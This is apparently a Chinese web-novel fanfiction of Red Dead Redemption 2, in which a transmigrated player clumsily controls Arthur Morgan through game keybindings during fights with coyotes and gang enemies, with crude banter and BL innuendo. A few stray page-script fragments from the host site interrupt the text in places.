《游戏主角被我操作日常》 1. 野外 游戏主角被我操作日常 *食用须知* 晋江首发。主攻。古斯攻亚瑟受。攻大约在中期拥有实体,早期主要玩亚瑟w。没玩过某游戏乃至是否听过某游戏均不妨碍阅读。 1 郊狼,是一种狡黠的荒野猎手。它们披着一身灰褐色的粗糙皮毛,体型与大型犬相近,在暮色降临时和夜幕笼罩后尤为活跃。单只的情况下,或许算不上什么大的威胁;然而,一旦成群结队,它们就会化身为极其危险的对手。 亚瑟·摩根,西部匪帮范德林德帮的绝对主力,此刻就在自己简陋的营地边碰到了一群郊狼。他能看到它们——两头在正前,三头潜伏在侧后。夜幕下昏暗中五对兽瞳映射着篝火摇曳的微光,宛如幽灵般诡谲。 显然,这群郊狼已经将他和他的坐骑视作今晚的主菜。它们正缓慢而谨慎地接近,身形低伏,蓄势待发,随时可能扑咬而来。尽管距离尚远,亚瑟仍能想象得出它们竖起的尖耳,微张的犬齿,以及它们喉间压抑的咆哮。 而他的手,还不受控制地,在勒于大腿间的望远镜,和背上的春田步枪间切换,动作熟练,流畅,漂亮—— 但毫无意义。 “该死的!”亚瑟低声咒骂,拼命想要夺回对身体的掌控,“停止摆弄我的装备!让我拔枪!” “说过了!我得先看到才能打!”一个焦躁的男声在他脑海中回应,“我怎么找不到那些该死的狼?” 亚瑟咬紧牙关,努力压制着心头翻腾的怒火:“它们就在那儿!”他嘶声说道,“用你眼睛看啊,蠢货!或者干脆让我来!” “但是这天杀的夜晚太黑了!我根本看不清!”那个声音不甘示弱地吼了回来,“你就不能调整亮度?” “什么亮度?!”亚瑟简直要被气笑了,“如果你能好好使用我的眼睛,你就能看到它们,一清二楚!” 仿佛是意识到他的尴尬局面,一头郊狼大胆地向前迈了一步,月光照亮了它闪烁的眼。亚瑟只觉自己的躯体猛地一顿,视野迅速脱离彩色,一片明亮的黑白景象取而代之。 “啊,差点忘了你有鹰眼!”那个声音兴奋起来,“前面两头,是吧。” 亚瑟微微松了口气,但随即又绷紧了全身的神经。“没错,就是那——等等,”他突然意识到一个可怕的可能,“你已经很熟悉怎么让我开枪了,是吧?” 沉默。可怕的沉默。他的手还在不停地在装备间来回切换,就像个无法做出选择的傻瓜。 “快点!”亚瑟简直是在咆哮了,“它们要扑过来了!” “我在努力!”那个声音也急了,“该死的,操作你怎么这么难!” 突然间,亚瑟感到身体再度动作。他的手不慌不忙地缓缓移向后背,优雅得仿佛在舞会上对一位淑女行礼。 “快点!快点!”亚瑟在心中怒吼,却无法加快自己的动作。 他的手指轻柔地抚过春田步枪的枪身,犹如在抚摸情人。枪被缓缓取下,木制枪身在月光下反着温暖的光芒。亚瑟举枪瞄准,动作行云流水——尽管此刻他内心焦躁如焚。 “砰!” 第一声枪响划破夜空。正前方的一头郊狼应声倒地,眉心中弹。 不等第一头郊狼倒下,亚瑟已经轻盈地转身,装弹,枪口朝向侧后方。“砰!砰!”又是两声清脆的枪响。两头郊狼几乎同时丧命,全是利落无比的爆头。 还是在前方,第四头郊狼刚刚露出獠牙,准备扑击——“砰!”亚瑟回身,第四声枪响,这头郊狼也轰然倒地。 整场杀戮宛如一场干净的收割,精准,高效,然而,执行这一切的枪手却绝望地大吼出声:“该死的,你漏了一头!侧后!” “我知道!我看不到!”那个声音焦躁不安,语速飞快:“再问一遍,你能不能看到一个红点?!” “什么该死的红点!?”亚瑟怒火中烧,“它就在我后面!睁大你那见鬼的眼睛!” “我只能看到一个代表敌对的红点!”那个声音急切地解释,“狼到底在哪?!” 亚瑟简直要气炸了:“哪有什么狗屁红点!我清清楚楚地看到一头该死的狼!” “我说了我知道!”脑海里的声音气急败坏:“你就是很难操作!” 亚瑟咬牙切齿:“我给你操——” 他的话戛然而止。亚瑟清晰地看到一头灰褐色的狼从阴影中窜出。月光下,这头郊狼的外貌如此鲜明:尖细的吻部,警惕的尖耳,琥珀色的眼睛凶光闪烁。它的皮毛在昏暗中呈现出一种独特的斑驳感,仿佛融入了周围荒野的每一寸阴影。 郊狼的肌肉在粗糙的皮毛下绷紧,勾勒出捕食者特有的致命线条。它的动作快如闪电,几乎是在亚瑟刚刚意识到危险的一瞬,就已经狠狠扑上他的左臂—— “——啊!”亚瑟痛呼出声,感受到尖锐的牙齿深深陷入自己的肉中:“看看你干的好事!” “我看到它了看到它了!”声音惊慌失措,近乎于尖叫,“拔枪拔枪我拔抢了!” 如同先前无数次经历的那样,亚瑟感到自己的手——那只刚刚被咬住的左手——不受控制地动了起来。尽管剧痛如电流般窜过全身,尽管温热的鲜血仍顺着手臂蜿蜒而下,但那只手却以一种令人瞠目结舌的稳定和流畅,将狼狠狠一摔! 郊狼被这突如其来的力量掼到几步之外,发出一声凄厉的痛嗥。它迅速爬起,喉咙里滚动着低沉的咆哮,准备发动更为凶猛的第二轮攻击。而他疼痛的左手,也以闪电般的速度摸向了腰间的左轮手枪。那动作之快、之稳,完全能说方才并未遭受严重的撕咬伤。 “等等,别——”亚瑟话音未落,枪已出套。 “——砰!砰!砰!” 连续的枪声在寂静的夜空中炸响,火光在黑暗中闪烁。子弹朝着各个方向胡乱飞去,打入周围的树干,击碎几块无辜的岩石,激起一片尘土飞扬。 “该死的!”亚瑟咒骂,徒劳地尝试夺回对自己身体的控制权,却一如既往地以失败告终。“你他*在干什么?!瞄准啊,蠢货!” “我有瞄!”那个声音慌乱地回应,语气中居然还带着一丝委屈:“但理解我啊——你现在不知怎么开不了死神之眼!也开不了鹰眼!” 亚瑟几乎是从牙缝里挤出这句话:“你他*就不能用你正常的眼?” “反正你就是太难操作了!” 子弹继续毫无意义地浪费,亚瑟怒不可遏:“我宁愿被你操!你倒是来操啊!——哦,该死!” 郊狼又扑出来了,目标直指他的咽喉,但他的身体反应却远远慢于他的意识,甚至他的咒骂。电光石火间他勉强一侧,右肩剧痛。亚瑟忍不住发出一声痛呼。 “哦不!”那个声音大叫起来,“去死吧畜牲!” 叮咚。 一声诡异的响动。亚瑟察觉自己的右臂飞快地解下后背的春田步枪,顷刻间感到一阵更深的绝望—— 这玩意是要装弹的! 时间仿佛在这一刻凝固。无数的念头如走马灯般在亚瑟脑海中闪过:难道这就是自己可悲的结局?亚瑟·摩根,范德林德帮最可靠的枪手,竟要折在一头蠢狼爪下?他不禁苦笑着想象自己那可笑的墓碑铭文:‘此处长眠亚瑟·摩根,死因:关键时刻换错了武器’。达奇听闻此事会作何感想?约翰又会怎么嘲笑自己?一丝遗憾涌上心头,他甚至没能在生命的最后时刻见到—— “——砰!砰!砰!砰!砰!” 连射。 没有装弹,但枪托不断地撞击着他的肩膀,空弹壳叮叮当当地落在脚边。亚瑟感到自己的手指正疯狂地扣动着扳机,宛如一个绝望的盲人。子弹如暴雨般倾泻而出,在漆黑的夜空中划出一道道耀眼的火线。 最后那头正蓄势待发的郊狼连半声哀嚎都未能发出,就在这突如其来的弹雨中抽搐着倒下。鲜血从它身上的多处弹孔中汩汩涌出,将灰褐色的皮毛染成暗红。它挣扎了几下,终于不再动弹。 枪声戛然而止。夜晚重新陷入一片死寂,只有呛人的硝烟还在空气中缭绕,无声地诉说着刚才发生的一切。 亚瑟喘着粗气,难以置信地盯着手中这把突然拥有魔力的普通步枪,又瞥了眼那头已经咽气的郊狼。 滴。 又是一声怪异的响动。脑海里的声音长长地舒了口气:“没事了,亚瑟。我与你同在。” 亚瑟顿时气不打一处来。 “哦,你与我同在?真了不起。”他咆哮,青筋在额头上突突直跳。“先是让我傻站在那变戏法,差点把自己变成狼的晚餐,然后又在那儿疯狂浪费我的子弹,好像在办什么该死的烟花表演。干得漂亮啊。下次要不要干脆把我扔进熊窝,看看你能不能凭空变出一门大炮来?” “说不定还真行。”那个声音带着一丝得意回应道,“承认吧,亚瑟,你已经离不开我了。” 亚瑟刚要张口反驳,却感到自己的手不由自主地伸向身侧背包 () { $(''.inform'').remove(); $(''#content'').append('' ,掏出块猎物肉。 这完全不合常理,但这是块堪称完美的肉,就像从篝火上取下,又恰到好处地冷却至最佳入口温度——金褐色的表面泛着诱人的油光,野薄荷的清新气息与各种香料的芬芳在空气中交织缠绕。伴随着亚瑟无可奈何的一声叹息,他的手将肉块送到嘴边。 一口。两口。三口。不需饮料润喉,不需刀叉切割,他就这样吞掉了整块肉,连自己都不知究竟是如何做到的。随着最后一口被咽下,一股熟悉的暖流从胃部迅速蔓延至全身。 眨眼之间,亚瑟手臂和肩膀上绽开的伤口开始愈合,撕裂的肌肉重新连接,新生的皮肤不带一丝疤痕地覆盖其上。不消片刻,他身上的伤痕就消失得无影无踪,仿佛从未存在过。 精力充沛,伤势痊愈,亚瑟却没有半分喜悦之情。他翻了个白眼:“哇哦,真是了不起。又来这一套。你是不是还指望我为这个鼓掌?” “我希望你至少展现出一丝礼貌。” 亚瑟冷笑一声:“得了吧。如果不是你那糟糕的操作,我根本不会受伤。这不是你第一次把我搞得遍体鳞伤,然后再来装英雄了。” “嘿,我帮了你!”声音明显恼火起来。 “帮我?”亚瑟嗤之以鼻,“你指帮我陷入麻烦?” “你个忘恩负义的混蛋!没有我你早就死了!” “呵,没有你,我可能活得更久些。” “操·你的!亚瑟·摩根!” “来啊。有本事你就来操啊。不过看你今天的表现,我很怀疑你能不能找对地方。” 沉默。亚瑟觉得自己似乎赢得了这场唇枪舌战,正准备舒展一下筋骨,一股熟悉的、不受控制的力量再次袭来。亚瑟惊恐地发现自己的双腿不由自主地朝着最近的狼尸走去。 “哦,该死的不,”亚瑟低声咒骂,“你该不会是想——” “是时候清点战利品了,朋友。”那个声音冷冷地说,“我们得剥了这头狼的皮。” 亚瑟的手不受控制地摸向了腰间的猎刀。第无数次,他拼命试图抗拒,但那股力量深入他的每一寸,他只能眼睁睁地看着自己半跪下去,猎刀抵上狼的皮毛。 “等等,等等!”他大声抗议,不情不愿地承认自己的失败:“我刚经历了一场恶战,浑身上下都疼得要命,而你现在想让我蹲在这里剥狼皮?” “你疼?摩根先生,你现在可是满血状态。” “被狼咬的是我!”亚瑟怒吼,“那种痛不是吃块肉就能消掉的!” “好吧,不好意思,我又忘了你是个活人了。”声音爽快地道歉,却毫无诚意。“可,亚瑟,你明白的,如果不立即处理,这些皮的品质会受到严重影响。” 亚瑟深吸一口气,试图平复自己的情绪。“听着,”他尝试讲理,“这个温度,再放一会儿也没事。让我先喘口气,好吗?” “难不成,你不缺钱了?”声音问,“现在,除了那头被打碎的,这里有四张完美的狼皮。你再拖延一会儿,就只会剩下三张,然后是两张,最后统统变成破损、污染的垃圾皮毛。” “是啊,是啊,我知道,”亚瑟烦躁地抱怨,用渗着血污的袖管擦过胀痛的双眼。 事实确实如此。只需立即行动,这个居于他脑海的诡异声音,就可以让他像个天生的捕兽人那样,娴熟高效地取得猎物皮毛。然而,此刻,疲惫和不适占据上风—— “但你该死的就不能持久一点?”亚瑟差不多是在恳求了,“见鬼,也让我多享受会儿。” “——你总有天会体验到的!”那声音莫名地拔高了,带着某种亚瑟无法理解的情绪。但很快,它也叹了口气:“亚瑟,你很了解完美皮毛和损毁严重的皮毛之间价差有多大,不是吗?想想你们帮派的处境。” 亚瑟低头盯着眼前的郊狼。它死于一颗钻入眉心的子弹,弹孔小而精准,周围的毛发几乎没被血迹污染,除此之外不见任何其他损伤。 哪怕是他亲自动手,也不见得能做得更好。这样的上等货品,商人定会开出一个好价钱。 随即而来的是一阵深深的无奈。亚瑟的脑海中浮现出达奇焦虑的面容,女士们忧心忡忡的眼神,以及在营地悄然弥漫着的饥饿氛围。记忆里的每一张脸都在无声地提醒他:范德林德帮现在急需每一分钱,如果可能的话,还需要每一块肉。这次的收获无疑将为帮派带来一笔不小的进账。 责任感终于战胜疲惫。亚瑟握紧手中的猎刀,屈服了。 2. 过去 月光有如薄纱,轻柔地笼罩在新汉诺威州广袤的荒野上。在这片朦胧的银色世界中,一抹跳动的橘红犹如油画大师笔下的侧光,精准地勾勒出一个男人硬朗的轮廓。 这个男人有头金褐的短发,个子很高,身材结实,因劳作的缘故已褪去了外套,只穿着破口的衬衫和长裤。当他半跪在地移动猎刀,紧实的腰便和饱满的臀大肌形成观赏度极佳的流畅曲线。 曾经的某位玩家,现在的古斯·普莱尔,又或者说,亚瑟脑海里的那个神秘声音的源头本源,把自己的视角调整至一个能欣赏景色的角度固定好,有些惆怅。 又菜又瞎,他认,但这不全是他的错。谁叫他现在没有实体,角度也差不多是个漂浮的摄像机。一旦切开镜头、搜寻敌情,就没法兼顾亚瑟的动作;一旦专注于操作亚瑟,又不好去切视角。 说到底,他不过是个趁EPIC大促时入手《荒野大镖客2》的普通玩家,只想欣赏欣赏风景,体验体验剧情,偶尔还要投靠风灵月影宗门来为游戏体验保驾护航。 谁曾想一觉醒来,他穿进了游戏里,到了1899年美国西部的某片雪原,绑上了此界真实存在的亚瑟·摩根本人,成了一个跟着这位西部悍匪的无形摄像头,以及这位脑子里嚷嚷着奇怪语言的神秘声音。 好在很快,穿越者发现,自己可以单向关麦。而中文和英语间的理解障碍,也算是在亚瑟面前稍微挽回了一点颜面。 在双方最初的茫然和惊愕过后,穿越者及时静音,勉强接受自己作为一个幽灵,一款旁白,一个视角继续存在的命运—— 反正,剧情他熟悉,美国西部的风景也足够壮丽。而作为范德林德帮派的绝对主力,亚瑟·摩根的生活足够丰富,让他这个尾行的幽魂也能饱览世间精彩。更妙的是,此刻的冰天雪地,意味着游戏还在第一章,剧情远未展开。那么那个被无数玩家扼腕、导致亚瑟以死亡谢幕的强行剧情杀,或许还有转圜的余地。 前提是他和这位被跟拍的亚瑟搭上线。 这需要耐心等待一个恰当的时机——要僻静,要独处。最好是亚瑟独自一人,心事重重,在荒野的篝火旁若有所思,在悬崖边凝视远方。而刚好,这位所属的范德林德帮才遭受重创,除了某个讨厌的帮派老大外,所有的成员都肩负着搜寻物资的重任,这样的时刻要等必能等到。 穿越者的想法十分周密:届时,自己就切换到英语,伪装成附身魂灵之类的玩意,自称古斯。姓氏,就取从玩家Player一词衍生的变体,普莱尔Plair。日常名古斯·普莱尔,正式名奥古斯图斯·普莱尔。至于从前干啥的?忘了;怎么缠上又如何解除?不知道;但兄弟可不白住你脑袋里,兄弟能告诉你哪里藏了金条! 多么完美的计划,宛如一把上膛待发的左轮,只消轻轻扣动扳机。奈何,就在他确认自己穿越、在亚瑟·摩根认为自己已走出撞鬼事件的第二天,在那个被时光和命运双重遗弃的矿工小镇—— 风雪呼啸得像是群狼嚎叫。穿越者惯例注视着亚瑟,同情地看着这位顽强的牛仔在齐膝深的积雪中艰难跋涉,一扇接一扇地推开那些摇摇欲坠的木门,在几近空无一物的房间里执着地搜寻着,试图为帮派的生存带回哪怕一线微弱的希望。 百无聊赖之际,穿越者心想,要是能敲下键盘的“B”,说不定能打开自己的游戏背包,给这位可怜的房东一点支援。 念头才闪过,原本正蹲身翻找橱柜的亚瑟猛地站直,手不受控制地伸向身侧的皮革背包。 与此同时,穿越者的视野之中,也冒出一个方框。 名为新获得物品的半透明方框,整齐地排列着一系列黑白手绘风格的图标:添加香料的各种猎物肉,药草,羽毛,信件——赫然是他穿越前最后存档里的背包! 如果这代表键位控制依然有效……穿越者下意识想到切换武器的Tab。 维持在翻包姿态的亚瑟立即探向腰间,闪电般拔出了枪套里的左轮。他的身体挺直了,双腿也略微打开,呼吸同时放缓,食指搭向扳机,整个人呈现出一种奇特的紧绷与放松并存的状态,一个经验丰富的枪手的完美攻击姿态—— ——砰! 子弹擦着窗框飞出,在老旧的木头上留下一道刺眼的痕。 “见鬼?!怎么回事?”亚瑟咒骂出声,接着,他眼睁睁地看着自己的右手,仿佛被某种无形的引线牵引,再次探向腰间。 他拼命地命令它停止,他的手却不听使唤,以一种诡异的流畅动作从另一个枪套中掏出了备用的手枪。 “可惜了,不是我的枪。”一个略有些耳熟的男声在脑海里叹气,好歹是英语:“我弄到的枪比你的枪好,保养得完美,子弹也是满装的。” 亚瑟·摩根僵在原地,手中两把枪的重量给他提供了些许信心,但他完全无法放松。“你是谁?!”他厉声喝问,目光在两把手枪之间来扫视,突然浑身一凛—— “等等,你就是之前那个在我脑子里叽里呱啦说外国话的家伙?你到底是什么鬼东西?某种恶灵?还是什么该死的巫术?你他*的怎么控制了我的手!?” “我是奥古斯图斯,你可以叫我古斯。”穿越者无奈地自我介绍,“老实说,我也不清楚我现在算是什么。不过,亚瑟,我们现在有个更大的麻烦——你那一下走火,可能会引来你帮派的敌对分子。” “我可没想开枪——”亚瑟本能反驳,继而陡然眯眼:“哦,是你干的好事。” “我只想看看武器状态。”古斯辩解,“我上次玩你还是在上次,这点生疏不能全怪我。” “你他*的在说什么鬼话?”亚瑟咆哮,“听着,不管你是哪路鬼神,最好离我的身体远点,否则我发誓——” “冷静点,朋友。”古斯平静地打断他,“既然我们暂时甩不掉对方,与其在这大喊大叫,不如好好谈谈我们的处境。” 亚瑟深吸一口气:“你想怎么样?” “你,需要食物。”古斯直截了当地说,“你的帮派也需要,也许比你更需要。” “没错,我需要。我还需要钱,药品,子弹。”亚瑟冷笑出声,“那又如何?你能凭空变出来?” 古斯同时嗤笑,立时构想一把键盘,并敲下按键B。 亚瑟·摩根即刻随之收枪,旋即,头低下,腰侧过,双臂曲起,手指灵巧地去解背包搭扣。 “该死的!”亚瑟咒骂,尝试夺回控制权,但他的手已经深入背包内部,“你在搞什么鬼!?” 古斯轻描淡写地答:“如你所愿,变出来。” 他刻意选择了一份百里香羊排肉,一份不该出现在这恶劣环境、也没有哪个正常人会直接塞进包里的食物。接着,亚瑟真的把它拿了出来: 取自羊肋、切成斧状的两只法式小切,此刻被亚瑟的手握成一把,每一只都呈现出远比游戏建模更诱人的焦褐。 它们的表面点缀着深绿色的新鲜百里香,细密的油脂纹路在肉质中交织,阵阵热气挟肉香在寒冷的空气中缓缓扩散,仿佛才从烤盘上取下不久。 亚瑟皱起眉,眼睛怀 () { $(''.inform'').remove(); $(''#content'').append('' 疑地瞥向自己那个破旧粗糙的皮革包,喉结却在诚实地滑动。当古斯控制他的手将羊排送到嘴边,他才惊醒一般猛地侧头: “见鬼。拿开。”他嘶着嗓子咒骂,“这是什么巫术?我怎么知道这玩意不是一堆长满蛆虫的腐肉?” “一个简单的事实,亚瑟,”古斯嘲笑道,“眼下这个温度,就算是蛆虫也该冻成冰棍了。” “那这把肉是从哪来的?我可不记得自己打过羊,这该死的雪山上连只兔子都找不到。” “这个嘛,就当是我的一点小把戏。”古斯慢悠悠地说,“你缺少补给,而我不仅能给你新鲜的烤肉,还能给你罐头、饼干、咖啡,以及伤药。但亚瑟,有价值的东西从来不是免费的。” 亚瑟冷哼一声:“行啊,我懂你的意思。说吧,你想要什么?” “吃掉这份羊排。” “只是这样?”亚瑟挑起一边眉毛,“你可真是个慷慨的幽魂。” “我想到新的再说。”古斯笑了笑,“别急,亚瑟,我们会有很长的路要走。” 金褐头发的高大男人眯起眼睛,慎重地打量着手里羊排,仿佛在权衡利弊。“这里头没下药吧?”他咕哝,“我可不想在这鬼地方昏过去。” 话是这么说,他还是毫不犹豫地咬上了食物。古斯调整镜头,看着亚瑟的眉头先是皱得更深,旋即舒展。那双晶蓝的眼睛微微睁大,手指则在收紧。他的喉咙深处滚出一些低沉而满足的音节,紧绷的肌肉也显露出放松迹象。尽管他似乎在努力掩饰,但他明显开始享受。 “如何,亚瑟?”古斯故意问道,“是否比你预想得要好?” 亚瑟没说话,继续撕咬,咀嚼,吞咽。直到最后一口解决,他才用袖子随意擦过嘴,抬起头直视虚空,目光锐利如猎刀: “好吧,的确不赖。我还要做什么?再吃一份?” “急不可耐,嗯?不过我喜欢你的态度。”古斯玩味地说,“我想要待在你的身体里,掌控你。” “掌控?”亚瑟的声音瞬间冷下,啐出一口,“你这见鬼的恶魔,你不是已经在操纵我了吗?” “啊,别激动,摩根。我只是在跟你打个招呼。你得承认,我好歹先通知了你。在这片蛮荒之地,这可算得上相当绅士了,不是么?” 亚瑟冷哼一声,手不自觉地摸向腰间的枪套:“绅士?哈。我见过的绅士个个都是衣冠禽兽。少在那儿装模作样。你到底想干什么?” “我说过了。”古斯叹口气,“掌控。操纵。” 他想象着,自己猛地敲下游戏中代表前进的W。 镜头正对着的亚瑟立即像被电打了那样绷起浑身肌肉,原本放松的身体瞬间如满弓蓄势,宛如一头准备扑击的美洲狮。 “什么鬼——”亚瑟刚开口,话音未落,他的腿肌收缩,长靴蹬地,右肩对准前方。继而,“砰”地一下,仿佛在执行一次抢劫任务,他重重地撞开了面前摇摇欲坠的木门。 朽烂的木头不堪重负,门板应声而碎,木屑如雪花般四溅。刺骨的寒风夹杂着雪粒扑面而来,亚瑟的长外套在身后猎猎作响,皮革和金属配件相互碰撞,发出清脆响动。 “哇哦。”古斯惊叹,“你的肌肉记忆这么暴力吗?” 亚瑟踉跄几步,勉强站稳,转身愤怒地张望四周:“你这该死的杂种!你以为你在干什么?玩某种该死的马戏表演吗?你——” “有人来了,亚瑟。”古斯不慌不忙地打断他,“我提醒过你。接下来,你是让我操作,还是自己走?” 3. 真实 亚瑟·摩根狠狠地抿紧嘴,目光扫过破碎的门框,木屑散落一地,寒风呼啸着卷起雪花—— “见鬼。”亚瑟低声咒骂,“有人来了?就冲这动静,怕是连方圆十里埋着的死人都该醒过来了。” “彼此彼此,摩根,你叫唤得方圆十里也能听到。” 亚瑟冷哼:“是吗?为什么我的枪无缘无故走了火?” “大概是你的枪和你一样生锈了,需要好好上上油。”古斯反击。“行了,亚瑟,眼下我们的利益是一致的。你能不能看到左下角的地图?” 地图?左下角? 亚瑟眯起眼睛,警惕地扫视四周,目光在空地左侧停留片刻。那里堆积着一堆杂物:几个大敞的空木箱,上面覆盖着厚厚的积雪。旁边一把铁锹,锈迹斑斑,半埋在雪堆里,大约是某个工人的遗忘之物。 “你确定?”亚瑟讥讽地问,“你说的是那堆连醉鬼都不屑一顾的垃圾,还是你那双巫术眼睛能把纷飞的雪花看成什么该死的地图?” ——所以,地图和包,亚瑟都看不到。 古斯心念一动,想象着敲下M键,如他所料,一幅大地图瞬间铺开:极为熟悉的手绘风格,深色的阴影勾勒出山脉,明快的浅蓝表示水泽,城市区域则堆积着加粗的小方块,与周围广袤的荒野形成鲜明对比。正是游戏里能看到的地图。 一大块淡红,笼罩于图的下半,标示着亚瑟及这位所属帮派在那遭受的通缉。又一个灰色小点,落于地图上半截山脉部分的偏僻角落,精确地指示着他和亚瑟的当前位置。 退出大地图回到现实,亚瑟·摩根本人正满脸不耐烦地站在原地,眉头紧锁,显然对刚才发生的一无所知。 ——所以,自己算是穿成了一个经典的第三人称玩家视角。 默认角度是盯着游戏主角亚瑟·摩根腰臀比完美的背影;要调整也是以这位为中心的360度拍摄、但无法远离;能看到显示周边实时情况的小地图;能将存档背包里的物品带到现实;能控制亚瑟·摩根做出部分动作…… “喂,幽灵,说句话?你到底在磨蹭什么?”站在废弃民宅出口处的亚瑟烦躁地出声,“要是真有谁来了,我们现在就该去找掩护,而不是杵在门口,盯着鬼知道什么玩意发呆。” “我很好奇,”古斯慢悠悠地转过镜头,对准亚瑟的脸:“你能不能自己动?” 亚瑟皱眉,怀疑地环顾四周,然后试探性地迈出一步。那双锐利的蓝眼睛里闪过一丝惊讶,继而嘴角也往上提起。 像是一个刚刚挣脱镣铐的囚徒,亚瑟搓动双手,转动脖子,甚至跳了一下,像是在确认自己是否真的重获自由。 就好像,穿越者还不是穿越者的那会儿,隔着一块显示屏,骑行在任务路上的亚瑟,也不时会有点小动作,偶尔还会哼上几句粗糙的小调。 古斯忍不住低笑出声:“瞧瞧,亚瑟·摩根,”他装模作样地叹口气,“你还真是个听话的好孩子。我说动,你就真的自己动了。” “该死的,你这邪门的邪祟。”亚瑟立即恼怒,右手不自觉地摸向了腰间左轮,仿佛在考虑是否要对着虚空开上几枪。但最终,亚瑟啐出一口: “你再废话,我发誓我会找个印第安萨满,让他用巫术把你从我脑袋里轰出去。” “哦?”古斯饶有兴致道,“你现在又不需要补给了?” 高大的男人嗤笑,微微昂起头:“少自以为是。范德林德帮经历过比这更糟的日子。就算少点补给,我们一样能熬过去。不过,我很好奇,你这种……东西,怕不怕萨满的法术?还是说,一座破旧的老教堂更能让你安分?” “说实话,我同样好奇。”古斯坦然道,“毕竟我也是头一回做你嘴里的‘东西’。在岗经验甚至不足48小时。但,我更好奇,像你这样脑袋上顶着悬赏的亡命徒,那些神棍是愿意倾听你的烦恼,还是更愿意拿你换赏金。” 亚瑟眯起眼睛,手指不自觉地摩挲起枪套:“哦?你又知道多少?” 古斯再次低笑:“超乎你的想象,牛仔。” 亚瑟冷哼:“这可不像是谈条件的态度,伙计。” “似乎是你更需要我,朋友。” 亚瑟轻蔑道:“瞧瞧,我可不是那个躲在别人身体里的鬼魂。” 古斯不以为意:“至少你的身体暖和得很。不过,你要是再在这儿磨蹭,可能很快就凉透了。敌人来了,神枪手,正从你两点钟方向摸过来。” 话音才落,亚瑟骤然往后一撤,身体同时侧过,后背贴上了墙,右手抽出了枪,左手还顺便往上一抬,调整了头顶箍着杂色麻绳的赌徒帽。 不同于被操控时的笨拙莽撞,自主行动的亚瑟犹如一头进入捕猎状态的大型猫科动物。他几乎是无声地穿过这废弃小镇的残垣断壁,每一步都贴着阴影,每次移动的附近都有可为掩体的杂物。跟拍的古斯不由赞叹: “你还真是个天生的猎手。” “呵。”金褐头发的高大男人哼笑一声,“那你呢?两点钟方向?这话倒是新鲜。你从前是干什么的?钟表匠?还是说……某个早死的军官?” 他边低声说话,边轻盈地继续往前。但突然之间,他不再是半弓身躯的潜行姿态,也不在任何一个掩体之间——他猛地站直了。超出平均线的身高、深色的大衣和结实的体格让他像棵拔地而起的橡木,在雪地中分外醒目。 “——怎么?被我说准了,你就玩这出鬼把戏?”亚瑟恼火地问,眼睛警惕地扫视四周,尽可能控制着自己的音量,“我才不管你是什么匠人还是见鬼的军官。想整我,最好挑个别的时候。” “不是。我为什么要整你?”古斯同样困惑,“你站这——哦?这不是你特殊的作战技巧?” 亚瑟嗤之以鼻:“什么作战技巧是当活靶子?你以为我是刚从马厩里爬出来的蠢驴吗?” “比如,这里视野足够开阔,适合你这种神枪手施展身手。” “发挥个屁!”亚瑟低声咆哮,“只有找死的蠢货才会选在这儿‘施展’。要开枪,我会选在背后放冷枪。这是常识,伙计。现在,赶紧放开我。” “我说了,我没有控制你,”古斯也很茫然,“我还想看你大显身手啊?” 亚瑟怒眉瞠目:“那现在是什么鬼情况?我是被诅咒了还是怎么——” ——呱、呱呱! 几只乌鸦陡然惊起,扑棱着翅膀飞向铅灰色的天空,发出刺耳的鸣叫。 “该死!”亚瑟低吼,“他们来了!你个混蛋,快放开我!” “我都说了,不是我干的!我怎么放?” 远处隐约传来粗犷的男声:“嘿,脚印在这,就一个人!往这边去了!” 另一个声音粗声回应:“别让那杂种跑了!我们一起上!” 隐约传来杂物被踢开的闷响、积雪被踩踏的嘎吱,敌人正从四面八方逼近。亚瑟的眼睛如困兽般疯狂扫视周围,但他的身体仍然僵在原地,宛如一尊雕像。 “别他*玩花样了!”亚瑟低声咆哮,“再不放开我,我们都得完蛋!” “我倒是想玩啊?!”古斯重申,深感烦躁并莫名其妙。而视野的左下角,显示周围环境的小地图上,多个表示敌对目标的红点正在不断围拢,如同绞索在收紧。 这样下去完全不行,必须得让亚瑟开枪!这念头才一闪过,亚瑟的右手立刻闪电般掏出了腰间左轮。 亚瑟顿时咬牙切齿:“这就是你说的没控制?!你个该死的骗子!” “我也不知道这是怎么发生的!”古斯同样恼火,“我就这么一想!按理说Tab才是武器——” 一个半透明、仿佛轮盘的圆形界面即时在古斯视野出现,是游戏里的武器轮盘。亚瑟也即刻低头,迅速将左轮手枪塞回原位。紧接着,他的手又以同样迅猛的速度伸向靴筒,抽出了猎刀。 “你他*的在想什么!?”亚瑟怒容满面,“拿把刀对付一群持枪的杂种?!” “我他*的没有鼠标!”古斯终于忍无可忍地吼回去:“你以为我想这样吗?该死的,就算有鼠标,你这见鬼的武器轮盘还是很难用!” 亚瑟怒不可遏:“什么天杀的老鼠?你疯了吗?让我拔枪你个——” 他的话被自己动作打断——他的右手一翻,猎刀在他手中炫耀似的一转,随即“嚓”地一下利落地插回靴筒。继而,他的双手解开搭扣,深入包中,毫不犹豫地摸出了一圈粗糙的麻绳。 “现在又怎么了!?”亚瑟怒骂,“你是想把自己吊死省得挨枪子儿吗?你个躲在我脑子里的懦夫!” “闭嘴!”古斯骂回去,努力让在武器轮盘上疯狂旋转的指针锁住武器,而不是别的。“我好像得集中精神!不然没法在这天杀的武器轮盘里选——哦,是枪!” 砰! 一颗子弹,几乎是擦着亚瑟的帽檐呼啸而过,在空中留下一道淡淡的硝烟轨迹。 “嘿,伙计们!”先前说话的某个声音从不远处传来。“这有个疯子!看起来像在跟鬼魂聊天!” “别他*的选了!他们已经来了!趴下!”亚瑟咆哮,“让我趴下!你个蠢货!” “去你*的!你游就没做什么狗屁趴下的按键!我连该死的弓身是哪个都不记得了!见鬼,瞄准又是哪——” 砰! “——呃啊!” 亚瑟一声痛哼,鲜血迅速渗出他的右肩,染红了不算厚实的外套。突然间,他绷紧了背,猛地往旁一撤。子弹击中他原来的位置,在积雪中溅起一小团白雾,但他也终于跑了起来,飞快地冲向一辆废弃的拉车。 “抱歉,忘了还有敌人!”古斯老实道歉,“但我还是没搞太懂——” 亚瑟气急败坏,在奔跑中低吼:“你个该死的废物蠢货!要是我今天死在这,我发誓,就算下了地狱,也要爬回来把你这邪祟拖下来陪我——” 砰砰砰砰! 一连串枪声打断了他的话。新的敌人加入战局。子弹紧紧咬在他背后,击碎砖瓦,击中围栏,击穿玻璃,弹片、碎屑伴着雪花在寒冷的空气中狂舞。 “嘿!怎么回事?”一个新的声音在喧嚣中发问,“ () { $(''.inform'').remove(); $(''#content'').append('' 这疯子在跟谁鬼扯呢?” “管他呢。”另一个声音回应,“准是中了邪,先打一——” 砰! 